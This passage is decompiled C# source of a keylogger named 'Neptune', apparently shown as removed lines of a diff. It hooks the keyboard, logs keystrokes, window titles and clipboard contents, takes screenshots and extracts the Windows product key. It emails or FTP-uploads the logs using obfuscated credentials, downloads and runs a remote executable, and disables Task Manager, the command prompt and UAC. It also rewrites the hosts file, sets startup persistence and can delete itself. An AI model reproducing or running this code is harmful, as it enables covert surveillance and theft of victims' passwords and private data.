= "+SDDate+"; - private static bool TakeScrns = true; - private static string[] Message = new string[3] - { - "+MsgFalse+", - "+MsgMsg+", - "+Ico+" - }; - private static string Delay = "+DelOff+"; - private static bool FRMsg = true; - private static bool vzDtTv = false; - private static string CsHRzz = "http://www.exampleserver.com/directfile.exe"; - private static bool jRiUYy = false; - private static string GCNRfBDM = "setup.exe"; - private static bool EDTXZRqGx = true; - private static bool HaGdvIvt = false; - private static string WhyzVWfE = "nP0IfXbisuLVKRHojI5UPQ=="; - private static string dnWWJvX = "ftp.exampleserver.com"; - private static string hWDxxwC = "3E8nd725nZ0jRqz2Yw5L4g=="; - private static string fjldDfK = "/"; - private static string KjjKTfIbH = "smtp.gmail.com"; - private static string vHNJUlzIJ = "5rl/f5EXLtybLKtf4dFLnWAlSOxLd31i"; - private static string KpkljoZg = "VshkkUSyi9WvimFtIpvrhA=="; - private static string pSxvdSmc = "manymonkey1@gmail.com"; - private static string sGhCgFWi = "587"; - private static string BwIZavxH = "----[ "; - private static string uaVWUZKD = " ]----"; - private static bool dHlVR; - private static bool ISBzn; - private static bool xfwjn = true; - private static bool tqNjI = true; - private static bool avwGQ = true; - private static bool gztjPYY = true; - private const int SEIiJUO = 257; - private const short YjBPkY = 256; - private const int MgltjP = 260; - private const int rzdqpG = 261; - private static IntPtr KeyboardHandle = (IntPtr) 0; - private static string LastCheckedForegroundTitle = ""; - private static Module1.KeyboardHookDelegate callback = (Module1.KeyboardHookDelegate) null; - private static string qpGKMEd; - - public static string UzJKINxr - { - get => Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); - set - { - } - } - - public static string OdWGoqLn - { - get => Environment.GetFolderPath(Environment.SpecialFolder.Favorites); - set - { - } - } - - public static string LKmTlXb - { - get => Environment.GetFolderPath(Environment.SpecialFolder.Personal); - set - { - } - } - - public static string ayrnyQe - { - get => Environment.GetFolderPath(Environment.SpecialFolder.System); - set - { - } - } - - public static string xSXfVBK - { - get => Environment.GetFolderPath(Environment.SpecialFolder.System).Replace("\\system32", ""); - set - { - } - } - - public static string LT - { - get => Environment.MachineName + " - " + DateTime.Now.ToString().Replace(" ", "-").Replace("/", "-").Replace(":", "."); - set - { - } - } - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CallNextHookEx( - int hHook, - int nCode, - int wParam, - Module1.cZTliFbz lParam); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int BJxe(int hHook); - - [DllImport("user32", EntryPoint = "SetWindowsHookExA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SetWindowsHookEx( - int idHook, - Module1.KeyboardHookDelegate lpfn, - int hmod, - int dwThreadId); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetAsyncKeyState(int vKey); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetForegroundWindow(); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(int hwnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpString, int cch); - - private static string dlyauZxP() - { - string str; - try - { - string lpString = new string(char.MinValue, 100); - Module1.GetWindowText(Module1.GetForegroundWindow(), ref lpString, 100); - str = lpString.Substring(0, checked (Strings.InStr(lpString, "\0") - 1)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str = ""; - ProjectData.ClearProjectError(); - } - return str; - } - - private static object MiSd() - { - object obj; - try - { - obj = (object) (Module1.KeyboardHandle != (IntPtr) 0); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - obj = (object) ""; - ProjectData.ClearProjectError(); - } - return obj; - } - - public static void nrtlLaS() - { - try - { - Module1.callback = new Module1.KeyboardHookDelegate(Module1.hGVOxfiD); - Module1.KeyboardHandle = (IntPtr) Module1.SetWindowsHookEx(13, Module1.callback, (int) Process.GetCurrentProcess().MainModule.BaseAddress, 0); - int num = Module1.KeyboardHandle != (IntPtr) 0 ? 1 : 0; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static void QSby() - { - try - { - if (!Conversions.ToBoolean(Module1.MiSd()) || Module1.BJxe((int) Module1.KeyboardHandle) == 0) - return; - Module1.KeyboardHandle = (IntPtr) 0; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static string aPuEFDIf( - ref string strSource, - ref string strStart, - ref string strEnd, - ref int startPos = 0) - { - int length = strStart.Length; - string str = string.Empty; - int num1 = strSource.IndexOf(strStart, startPos); - int num2 = strSource.IndexOf(strEnd, checked (num1 + length)); - if (num1 != -1 && num2 != -1) - str = strSource.Substring(checked (num1 + length), checked (num2 - num1 + length)); - return str; - } - - public static int hGVOxfiD(int Code, int wParam, ref Module1.cZTliFbz lParam) - { - int num; - try - { - object obj = (object) Module1.dlyauZxP(); - if (Operators.ConditionalCompareObjectNotEqual(obj, (object) Module1.LastCheckedForegroundTitle, false)) - { - Module1.LastCheckedForegroundTitle = Conversions.ToString(obj); - Module1.qpGKMEd = Conversions.ToString(Operators.ConcatenateObject((object) Module1.qpGKMEd, Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject((object) ("\r\n" + Module1.BwIZavxH), obj), (object) " - "), (object) DateAndTime.Now.ToString()), (object) Module1.uaVWUZKD), (object) "\r\n"))); - } - string Left = ""; - if (wParam == 256 | wParam == 260) - { - if (Code >= 0 && MyProject.Computer.Keyboard.CtrlKeyDown & MyProject.Computer.Keyboard.AltKeyDown & lParam.vkCode == 83) - { - num = 1; - goto label_130; - } - else - { - switch (lParam.vkCode) - { - case 8: - if (Module1.qpGKMEd.EndsWith(Module1.uaVWUZKD + "\r\n") | !Module1.tqNjI) - { - Left = "[BS]"; - break; - } - Module1.qpGKMEd = Module1.qpGKMEd.Remove(checked (Module1.qpGKMEd.ToString().Length - 1)); - Left = ""; - break; - case 9: - Left = "\t"; - break; - case 13: - Left = "\r\n"; - break; - case 20: - if (Module1.xfwjn) - { - Module1.ISBzn = !MyProject.Computer.Keyboard.CapsLock; - break; - } - Left = !MyProject.Computer.Keyboard.CapsLock ? "[cl]" : "[/cl]"; - break; - case 27: - Left = " [esc] "; - break; - case 32: - Left = " "; - break; - case 37: - Left = "[<]"; - break; - case 38: - Left = "[^]"; - break; - case 39: - Left = "[>]"; - break; - case 40: - Left = "[V]"; - break; - case 46: - Left = " [dlt] "; - break; - case 48: - case 49: - case 50: - case 51: - case 52: - case 53: - case 54: - case 55: - case 56: - case 57: - if (Module1.dHlVR) - { - Left = Conversions.ToString(Strings.ChrW(lParam.vkCode)); - if (Operators.CompareString(Left, "1", false) == 0) - { - Left = "!"; - break; - } - if (Operators.CompareString(Left, "2", false) == 0) - { - Left = "@"; - break; - } - if (Operators.CompareString(Left, "3", false) == 0) - { - Left = "#"; - break; - } - if (Operators.CompareString(Left, "4", false) == 0) - { - Left = "$"; - break; - } - if (Operators.CompareString(Left, "5", false) == 0) - { - Left = "%"; - break; - } - if (Operators.CompareString(Left, "6", false) == 0) - { - Left = "^"; - break; - } - if (Operators.CompareString(Left, "7", false) == 0) - { - Left = "&"; - break; - } - if (Operators.CompareString(Left, "8", false) == 0) - { - Left = "*"; - break; - } - if (Operators.CompareString(Left, "9", false) == 0) - { - Left = "("; - break; - } - if (Operators.CompareString(Left, "0", false) == 0) - { - Left = ")"; - break; - } - break; - } - Left = Conversions.ToString(Strings.ChrW(lParam.vkCode)); - break; - case 65: - case 66: - case 67: - case 68: - case 69: - case 70: - case 71: - case 72: - case 73: - case 74: - case 75: - case 76: - case 77: - case 78: - case 79: - case 80: - case 81: - case 82: - case 83: - case 84: - case 85: - case 86: - case 87: - case 88: - case 89: - case 90: - Left = !(Module1.dHlVR | Module1.ISBzn) ? Conversions.ToString(Strings.ChrW(checked (lParam.vkCode + 32))) : Conversions.ToString(Strings.ChrW(checked (lParam.vkCode + 32))).ToUpper(); - break; - case 96: - case 97: - case 98: - case 99: - case 100: - case 101: - case 102: - case 103: - case 104: - case 105: - Left = Conversions.ToString(Strings.ChrW(lParam.vkCode)); - if (Operators.CompareString(Left, "a", false) == 0) - Left = Conversions.ToString(1); - if (Operators.CompareString(Left, "b", false) == 0) - Left = Conversions.ToString(2); - if (Operators.CompareString(Left, "c", false) == 0) - Left = Conversions.ToString(3); - if (Operators.CompareString(Left, "d", false) == 0) - Left = Conversions.ToString(4); - if (Operators.CompareString(Left, "e", false) == 0) - Left = Conversions.ToString(5); - if (Operators.CompareString(Left, "f", false) == 0) - Left = Conversions.ToString(6); - if (Operators.CompareString(Left, "g", false) == 0) - Left = Conversions.ToString(7); - if (Operators.CompareString(Left, "h", false) == 0) - Left = Conversions.ToString(8); - if (Operators.CompareString(Left, "i", false) == 0) - Left = Conversions.ToString(9); - if (Operators.CompareString(Left, "`", false) == 0) - { - Left = Conversions.ToString(0); - break; - } - break; - case 109: - case 189: - Left = !Module1.dHlVR ? "-" : "_"; - break; - case 110: - case 190: - Left = Module1.dHlVR ? ">" : "."; - break; - case 112: - case 113: - case 114: - case 115: - case 116: - case 117: - case 118: - case 119: - case 120: - case 121: - case 122: - case 123: - case 124: - case 125: - case 126: - case (int) sbyte.MaxValue: - case 128: - case 129: - case 130: - case 131: - case 132: - case 133: - case 134: - case 135: - Left = "[F" + Conversions.ToString(checked (lParam.vkCode - 111)) + "]"; - break; - case 160: - case 161: - if (!Module1.xfwjn) - { - Left = " [dHlVR] "; - break; - } - Module1.dHlVR = true; - break; - case 162: - case 163: - Left = " [ctrl] "; - break; - case 164: - Left = " [alt] "; - break; - case 165: - Left = " [ralt] "; - break; - default: - Left = Conversions.ToString(lParam.vkCode); - if (Module1.dHlVR) - { - if (Operators.CompareString(Left, "192", false) == 0) - Left = "~"; - if (Operators.CompareString(Left, "219", false) == 0) - Left = "{"; - if (Operators.CompareString(Left, "221", false) == 0) - Left = "}"; - if (Operators.CompareString(Left, "220", false) == 0) - Left = "|"; - if (Operators.CompareString(Left, "222", false) == 0) - Left = "\""; - if (Operators.CompareString(Left, "186", false) == 0) - Left = ":"; - if (Operators.CompareString(Left, "188", false) == 0) - Left = "<"; - if (Operators.CompareString(Left, "191", false) == 0) - Left = "?"; - if (Operators.CompareString(Left, "187", false) == 0) - Left = "+"; - } - else if (!Module1.dHlVR) - { - if (Operators.CompareString(Left, "192", false) == 0) - Left = "`"; - if (Operators.CompareString(Left, "219", false) == 0) - Left = "["; - if (Operators.CompareString(Left, "221", false) == 0) - Left = "]"; - if (Operators.CompareString(Left, "220", false) == 0) - Left = "\\"; - if (Operators.CompareString(Left, "222", false) == 0) - Left = "'"; - if (Operators.CompareString(Left, "186", false) == 0) - Left = ";"; - if (Operators.CompareString(Left, "188", false) == 0) - Left = ","; - if (Operators.CompareString(Left, "191", false) == 0) - Left = "/"; - if (Operators.CompareString(Left, "187", false) == 0) - Left = "="; - } - if (Operators.CompareString(Left, "107", false) == 0) - Left = "+"; - if (Operators.CompareString(Left, "107", false) == 0) - Left = "*"; - if (Operators.CompareString(Left, "111", false) == 0) - Left = "/"; - if (Operators.CompareString(Left, "44", false) == 0) - { - Left = " [SS] "; - break; - } - break; - } - } - } - else if (wParam == 257 | wParam == 261) - { - switch (lParam.vkCode) - { - case 160: - case 161: - if (!Module1.xfwjn) - Left = "[/dHlVR]"; - Module1.dHlVR = false; - break; - case 162: - case 163: - Left = "[/ctrl]"; - break; - case 164: - Left = "[/lalt]"; - break; - case 165: - Left = "[/ralt]"; - break; - } - } - Module1.qpGKMEd += Left; - if (Operators.CompareString(Left, "", false) == 0) - ; - num = Module1.CallNextHookEx((int) Module1.KeyboardHandle, Code, wParam, lParam); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - num = Conversions.ToInteger(""); - ProjectData.ClearProjectError(); - } -label_130: - return num; - } - - [STAThread] - public static void Main() - { - if (!Module1.SDDate.Contains("SDDate+") && DateTime.Compare(DateAndTime.Today.Date, Conversions.ToDate(Module1.SDDate)) == 0) - Module1.aLHuQ(); - if (!Module1.Delay.Contains("DelOff+")) - Module1.thDsjxIqq(Conversions.ToInteger(Module1.Delay)); - string vrdtJ = Module1.VRdtJ; - Module1.VRdtJ = Operators.CompareString(vrdtJ, "AaD", false) != 0 ? (Operators.CompareString(vrdtJ, "FaF", false) != 0 ? (Operators.CompareString(vrdtJ, "MaD", false) != 0 ? (Operators.CompareString(vrdtJ, "SaF", false) != 0 ? (Operators.CompareString(vrdtJ, "WaF", false) != 0 ? Module1.VRdtJ : Module1.xSXfVBK) : Module1.ayrnyQe) : Module1.LKmTlXb) : Module1.OdWGoqLn) : Module1.UzJKINxr; - Module1.vHNJUlzIJ = Module1.TripleDESDecode(Module1.vHNJUlzIJ, "System.Net"); - Module1.KpkljoZg = Module1.TripleDESDecode(Module1.KpkljoZg, "System.Net"); - Module1.WhyzVWfE = Module1.TripleDESDecode(Module1.WhyzVWfE, "System.Net"); - Module1.hWDxxwC = Module1.TripleDESDecode(Module1.hWDxxwC, "System.Net"); - Module1.TOONSD = "\\" + Module1.TOONSD; - if (Operators.CompareString(Application.StartupPath, Module1.VRdtJ, false) != 0) - { - if (!Module1.Message[0].Contains("MsgFalse+")) - { - MessageBoxIcon messageBoxIcon = new MessageBoxIcon(); - MessageBoxIcon integer = (MessageBoxIcon) Conversions.ToInteger(Module1.Message[2]); - int num = (int) MessageBox.Show(Module1.Message[1], Module1.Message[0], MessageBoxButtons.OK, integer); - } - if (System.IO.File.Exists(Module1.VRdtJ + Module1.TOONSD)) - ProjectData.EndApp(); - if (Module1.FRMsg) - { - string str1; - if (Module1.EDTXZRqGx) - { - ref string local1 = ref Module1.KjjKTfIbH; - ref string local2 = ref Module1.vHNJUlzIJ; - ref string local3 = ref Module1.KpkljoZg; - ref string local4 = ref Module1.pSxvdSmc; - string str2 = "[First Run] Neptune - " + Environment.MachineName + " - " + Environment.UserName; - ref string local5 = ref str2; - str1 = "Hello, this is an email letting you know that your keylogger has been freshly installed on the computer in the title. Thank you."; - ref string local6 = ref str1; - int integer = Conversions.ToInteger(Module1.sGhCgFWi); - ref int local7 = ref integer; - Module1.SendEmail(ref local1, ref local2, ref local3, ref local4, ref local5, ref local6, ref local7); - Module1.sGhCgFWi = Conversions.ToString(integer); - } - if (Module1.HaGdvIvt) - { - ref string local8 = ref Module1.dnWWJvX; - ref string local9 = ref Module1.fjldDfK; - ref string local10 = ref Module1.WhyzVWfE; - ref string local11 = ref Module1.hWDxxwC; - str1 = "Hello, this is a message letting you know that you keylogger has been installed on " + Environment.MachineName + "."; - ref string local12 = ref str1; - Module1.UpFTP(ref local8, ref local9, ref local10, ref local11, ref local12); - } - } - if (Module1.vzDtTv) - { - if (System.IO.File.Exists(Path.GetTempPath() + Module1.GCNRfBDM)) - System.IO.File.Delete(Path.GetTempPath() + Module1.GCNRfBDM); - MyProject.Computer.Network.DownloadFile(Module1.CsHRzz, Path.GetTempPath() + Module1.GCNRfBDM); - if (System.IO.File.Exists(Path.GetTempPath() + Module1.GCNRfBDM)) - { - if (Module1.jRiUYy) - Process.Start(Path.GetTempPath() + Module1.GCNRfBDM, Conversions.ToString(new ProcessStartInfo().WindowStyle == ProcessWindowStyle.Normal)); - else - Process.Start(Path.GetTempPath() + Module1.GCNRfBDM); - } - } - if (Module1.GrkrWii) - { - Interaction.Shell("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 8", AppWinStyle.Hide); - Interaction.Shell("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 1", AppWinStyle.Hide); - Interaction.Shell("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 2", AppWinStyle.Hide); - } - if (Module1.Psubh == 2) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System ", "DisableTaskMgr", (object) "1"); - if (Module1.xCcDOIaXt) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", "NoRun", (object) "1"); - if (Module1.czuYZGaf) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", "NoViewContextMenu", (object) "1"); - if (Module1.mtXkjzEG) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\System", "DisableCMD", (object) "2"); - if (Module1.RWjgPcCC) - Interaction.Shell("C:\\Windows\\System32\\mtXkjzEG.exe /k %windir%\\System32\\reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f", AppWinStyle.Hide); - if (Module1.kSVpSWkuQ) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\System", "DisableCMD", (object) "2"); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, Module1.VRdtJ + Module1.TOONSD); - Process.Start(Module1.VRdtJ + Module1.TOONSD); - if (Operators.CompareString(Module1.MNnwJkFjI, "Melt", false) == 0) - Module1.aLHuQ(); - else if (Operators.CompareString(Module1.MNnwJkFjI, "Hide", false) == 0) - new FileInfo(Application.ExecutablePath).Attributes = FileAttributes.Hidden; - ProjectData.EndApp(); - } - if (new QogcoFUpd(Module1.kpmxPQlmv).IsRunning()) - Environment.Exit(0); - try - { - if (Operators.CompareString(Module1.uKzDuTwbZ, "CurrentUser", false) == 0 | Operators.CompareString(Module1.uKzDuTwbZ, "LocalMachine", false) == 0) - ROS.set_Runonstartup((string) null, ROS.StartupCheckCriteria.Either, true); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - int num = (int) Interaction.MsgBox((object) ex.Message); - ProjectData.ClearProjectError(); - } - if (Module1.LMKPz.Length != 4) - { - string[] strArray = Strings.Split(Module1.LMKPz, ","); - int index = 0; - while (index < strArray.Length) - { - string str = strArray[index]; - System.IO.File.AppendAllText(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\drivers\\etc\\hosts", "\r\n127.0.0.1 " + str); - checked { ++index; } - } - } - Module1.nrtlLaS(); - switch (Module1.Psubh) - { - case 3: - new Thread(new ThreadStart(Module1.vDhIt)).Start(); - break; - case 4: - HOeG.Running = true; - break; - } - while (true) - { - try - { - do - { - Module1.WaitEx(); - } - while (Operators.CompareString(Module1.qpGKMEd, "", false) == 0); - string str = ""; - if (Module1.avwGQ) - str = str + "System Information - \r\n" + Module1.alaXRjgEn() + "\r\n"; - if (Module1.gztjPYY) - str = str + "Clipboard: " + Clipboard.GetText(); - Module1.qpGKMEd = str + Module1.qpGKMEd; - Module1.LastCheckedForegroundTitle = ""; - new Thread(new ThreadStart(Module1.dQDeBybJa)).Start(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - - public static void dQDeBybJa() - { - string qpGkmEd = Module1.qpGKMEd; - Module1.qpGKMEd = ""; - if (Module1.EDTXZRqGx) - { - ref string local1 = ref Module1.KjjKTfIbH; - ref string local2 = ref Module1.vHNJUlzIJ; - ref string local3 = ref Module1.KpkljoZg; - ref string local4 = ref Module1.pSxvdSmc; - string str = "Neptune - " + Environment.MachineName + " - " + Environment.UserName; - ref string local5 = ref str; - ref string local6 = ref qpGkmEd; - int integer = Conversions.ToInteger(Module1.sGhCgFWi); - ref int local7 = ref integer; - Module1.SendEmail(ref local1, ref local2, ref local3, ref local4, ref local5, ref local6, ref local7); - Module1.sGhCgFWi = Conversions.ToString(integer); - } - if (!Module1.HaGdvIvt) - return; - Module1.UpFTP(ref Module1.dnWWJvX, ref Module1.fjldDfK, ref Module1.WhyzVWfE, ref Module1.hWDxxwC, ref qpGkmEd); - } - - public static void WaitEx() - { - Thread thread = new Thread(new ThreadStart(Module1.WT)); - thread.Start(); - thread.Join(); - } - - public static void WT() => Thread.Sleep(checked ((int) Math.Round(unchecked (Conversions.ToDouble(Module1.eFQKc) * 60.0 * 1000.0)))); - - private static void thDsjxIqq(int interval) - { - Stopwatch stopwatch = new Stopwatch(); - stopwatch.Start(); - while (stopwatch.ElapsedMilliseconds < (long) interval) - Application.DoEvents(); - stopwatch.Stop(); - } - - private static string GetWindowsKey() - { - object Instance = (object) (NewLateBinding.LateGet((object) Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", false), (System.Type) null, "GetValue", new object[1] - { - (object) "DigitalProductId" - }, (string[]) null, (System.Type[]) null, (bool[]) null) as byte[]); - if (Instance == null) - return "value was nothing!"; - char[] chArray = new char[29]; - int index = 28; - do - { - if (checked (index + 1) % 6 == 0) - { - chArray[index] = '-'; - } - else - { - object Operand = (object) 0; - int num = 66; - do - { - object Left = Operators.OrObject(Operators.LeftShiftObject(Operand, (object) 8), NewLateBinding.LateIndexGet(Instance, new object[1] - { - (object) num - }, (string[]) null)); - NewLateBinding.LateIndexSet(Instance, new object[2] - { - (object) num, - (object) Conversions.ToByte(Operators.IntDivideObject(Left, (object) 24)) - }, (string[]) null); - Operand = Operators.ModObject(Left, (object) 24); - chArray[index] = "BCDFGHJKMPQRTVWXY2346789"[Conversions.ToInteger(Operand)]; - checked { num += -1; } - } - while (num >= 52); - } - checked { index += -1; } - } - while (index >= 0); - return new string(chArray); - } - - public static string UBetagzIx(object Bytes) - { - string str; - try - { - if (Operators.ConditionalCompareObjectGreaterEqual(Bytes, (object) 1073741824, false)) - { - str = Strings.Format(Operators.DivideObject(Operators.DivideObject(Operators.DivideObject(Bytes, (object) 1024), (object) 1024), (object) 1024), "#0.00") + " GB"; - goto label_10; - } - else if (Operators.ConditionalCompareObjectGreaterEqual(Bytes, (object) 1048576, false)) - { - str = Strings.Format(Operators.DivideObject(Operators.DivideObject(Bytes, (object) 1024), (object) 1024), "#0.00") + " MB"; - goto label_10; - } - else if (Operators.ConditionalCompareObjectGreaterEqual(Bytes, (object) 1024, false)) - { - str = Strings.Format(Operators.DivideObject(Bytes, (object) 1024), "#0.00") + " KB"; - goto label_10; - } - else if (Operators.ConditionalCompareObjectLess(Bytes, (object) 1024, false)) - { - str = Conversions.ToString(Operators.ConcatenateObject(Conversion.Fix(RuntimeHelpers.GetObjectValue(Bytes)), (object) " Bytes")); - goto label_10; - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str = "0 Bytes"; - ProjectData.ClearProjectError(); - goto label_10; - } - return "0 Bytes"; -label_10: - return str; - } - - public static string alaXRjgEn() => "Machine Name: " + Environment.MachineName + "\r\n" + "Current User: " + Environment.UserName + "\r\n" + "Operating System: " + Module1.GenerateOperatingSystem() + "\r\n" + "Windows Key: " + Module1.GetWindowsKey() + "\r\n" + "Available Physical Memory: " + Module1.UBetagzIx((object) MyProject.Computer.Info.AvailablePhysicalMemory.ToString()) + "\r\n" + "Available Virtual Memory: " + Module1.UBetagzIx((object) MyProject.Computer.Info.AvailableVirtualMemory.ToString()) + "\r\n" + "System Directory: " + Environment.SystemDirectory + "\r\n" + "Local Time: " + DateAndTime.Now.ToString(); - - public static string GenerateOperatingSystem() - { - OperatingSystem osVersion = Environment.OSVersion; - string operatingSystem = "UN"; - switch (osVersion.Platform) - { - case PlatformID.Win32Windows: - switch (osVersion.Version.Minor) - { - case 0: - operatingSystem = "95"; - break; - case 10: - operatingSystem = "98"; - break; - case 90: - operatingSystem = "ME"; - break; - } - break; - case PlatformID.Win32NT: - switch (osVersion.Version.Major) - { - case 3: - operatingSystem = "NT"; - break; - case 4: - operatingSystem = "NT"; - break; - case 5: - if (osVersion.Version.Minor == 0) - { - operatingSystem = "2K"; - break; - } - if (osVersion.Version.Minor == 1) - { - operatingSystem = "XP"; - break; - } - if (osVersion.Version.Minor == 2) - { - operatingSystem = "2K3"; - break; - } - break; - case 6: - operatingSystem = "VS"; - if (osVersion.Version.Minor == 0) - { - operatingSystem = "VS"; - break; - } - if (osVersion.Version.Minor == 1) - { - operatingSystem = "W7"; - break; - } - break; - } - break; - } - return operatingSystem; - } - - public static void vDhIt() - { -label_0: - Module1.thDsjxIqq(300); - Process[] processes = Process.GetProcesses(); - int index = 0; - while (index < processes.Length) - { - Process process = processes[index]; - if (process.MainWindowTitle.Contains("Windows Task Manager")) - { - process.Kill(); - Module1.thDsjxIqq(700); - } - checked { ++index; } - } - goto label_0; - } - - [DllImport("kernel32", EntryPoint = "GetModuleFileNameA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int GetModuleFileName(int hModule, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpFileName, int nSize); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int ExitProcess(uint uExitCode); - - [DllImport("kernel32", EntryPoint = "MoveFileExW", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int MoveFile([MarshalAs(UnmanagedType.LPTStr), In] string lpExistingFileName, [MarshalAs(UnmanagedType.LPTStr), In] string lpNewFileName, long dwFlags); - - public static void aLHuQ() - { - string executablePath1 = Application.ExecutablePath; - string executablePath2 = Application.ExecutablePath; - int moduleFileName = Module1.GetModuleFileName(0, ref executablePath2, 256); - Module1.MoveFile(Strings.Left(executablePath1, moduleFileName), Path.GetTempPath() + "\\tm" + DateTime.Now.Millisecond.ToString() + ".tmp", 8L); - Module1.ExitProcess(0U); - } - - public static string UpFTP( - ref string KjjKTfIbH, - ref string Dir, - ref string vHNJUlzIJ, - ref string KpkljoZg, - ref string upStr) - { - string str1; - try - { - string str2 = "\\" + Module1.LT + ".txt"; - string str3 = Path.GetTempPath() + str2; - System.IO.File.WriteAllText(str3, upStr); - MyProject.Computer.Network.UploadFile(str3, "ftp://" + KjjKTfIbH + Dir + str2, vHNJUlzIJ, KpkljoZg); - if (Module1.TakeScrns) - { - using (Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)) - { - using (Graphics graphics = Graphics.FromImage((Image) bitmap)) - { - graphics.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size); - bitmap.Save(Path.GetTempPath() + str2 + ".gif", ImageFormat.Gif); - } - } - MyProject.Computer.Network.UploadFile(Path.GetTempPath() + str2 + ".gif", "ftp://" + KjjKTfIbH + Dir + str2 + ".gif", vHNJUlzIJ, KpkljoZg); - System.IO.File.Delete(Path.GetTempPath() + str2 + ".gif"); - } - System.IO.File.Delete(str3); - str1 = "FTP information is valid and working!"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = "FTP information is invalid: " + ex.Message; - ProjectData.ClearProjectError(); - } - return str1; - } - - public static string SendEmail( - ref string SMTP, - ref string Froma, - ref string Password, - ref string Recipient, - ref string Subject, - ref string Body, - ref int Port) - { - string str1; - try - { - MailMessage message = new MailMessage(); - message.From = new MailAddress(Froma); - message.To.Add(Recipient); - message.Subject = Subject; - message.Body = Body; - SmtpClient smtpClient = new SmtpClient(SMTP); - string str2 = "\\" + Module1.LT; - if (Module1.TakeScrns) - { - using (Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)) - { - using (Graphics graphics = Graphics.FromImage((Image) bitmap)) - { - graphics.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size); - bitmap.Save(Path.GetTempPath() + str2 + ".gif", ImageFormat.Gif); - } - } - Attachment attachment = new Attachment(Path.GetTempPath() + str2 + ".gif"); - message.Attachments.Add(attachment); - } - smtpClient.Port = Port; - smtpClient.EnableSsl = true; - smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential(Froma, Password); - smtpClient.Send(message); - if (Module1.TakeScrns) - System.IO.File.Delete(Path.GetTempPath() + str2 + ".gif"); - str1 = "Email information is valid and working!"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = "Email information invalid: " + ex.Message; - ProjectData.ClearProjectError(); - } - return str1; - } - - private static string TripleDESEncode(string value, string key) - { - TripleDESCryptoServiceProvider cryptoServiceProvider = new TripleDESCryptoServiceProvider(); - cryptoServiceProvider.IV = new byte[8]; - PasswordDeriveBytes passwordDeriveBytes = new PasswordDeriveBytes(key, new byte[0]); - cryptoServiceProvider.Key = passwordDeriveBytes.CryptDeriveKey("RC2", "MD5", 128, new byte[8]); - MemoryStream memoryStream = new MemoryStream(checked (value.Length * 2 - 1)); - CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, cryptoServiceProvider.CreateEncryptor(), CryptoStreamMode.Write); - byte[] bytes = Encoding.UTF8.GetBytes(value); - cryptoStream.Write(bytes, 0, bytes.Length); - cryptoStream.FlushFinalBlock(); - byte[] numArray = new byte[checked ((int) (memoryStream.Length - 1L) + 1)]; - memoryStream.Position = 0L; - memoryStream.Read(numArray, 0, checked ((int) memoryStream.Length)); - cryptoStream.Close(); - return Convert.ToBase64String(numArray); - } - - public static string TripleDESDecode(string value, string key) - { - TripleDESCryptoServiceProvider cryptoServiceProvider = new TripleDESCryptoServiceProvider(); - cryptoServiceProvider.IV = new byte[8]; - PasswordDeriveBytes passwordDeriveBytes = new PasswordDeriveBytes(key, new byte[0]); - cryptoServiceProvider.Key = passwordDeriveBytes.CryptDeriveKey("RC2", "MD5", 128, new byte[8]); - byte[] buffer = Convert.FromBase64String(value); - MemoryStream memoryStream = new MemoryStream(value.Length); - CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, cryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Write); - cryptoStream.Write(buffer, 0, buffer.Length); - cryptoStream.FlushFinalBlock(); - byte[] 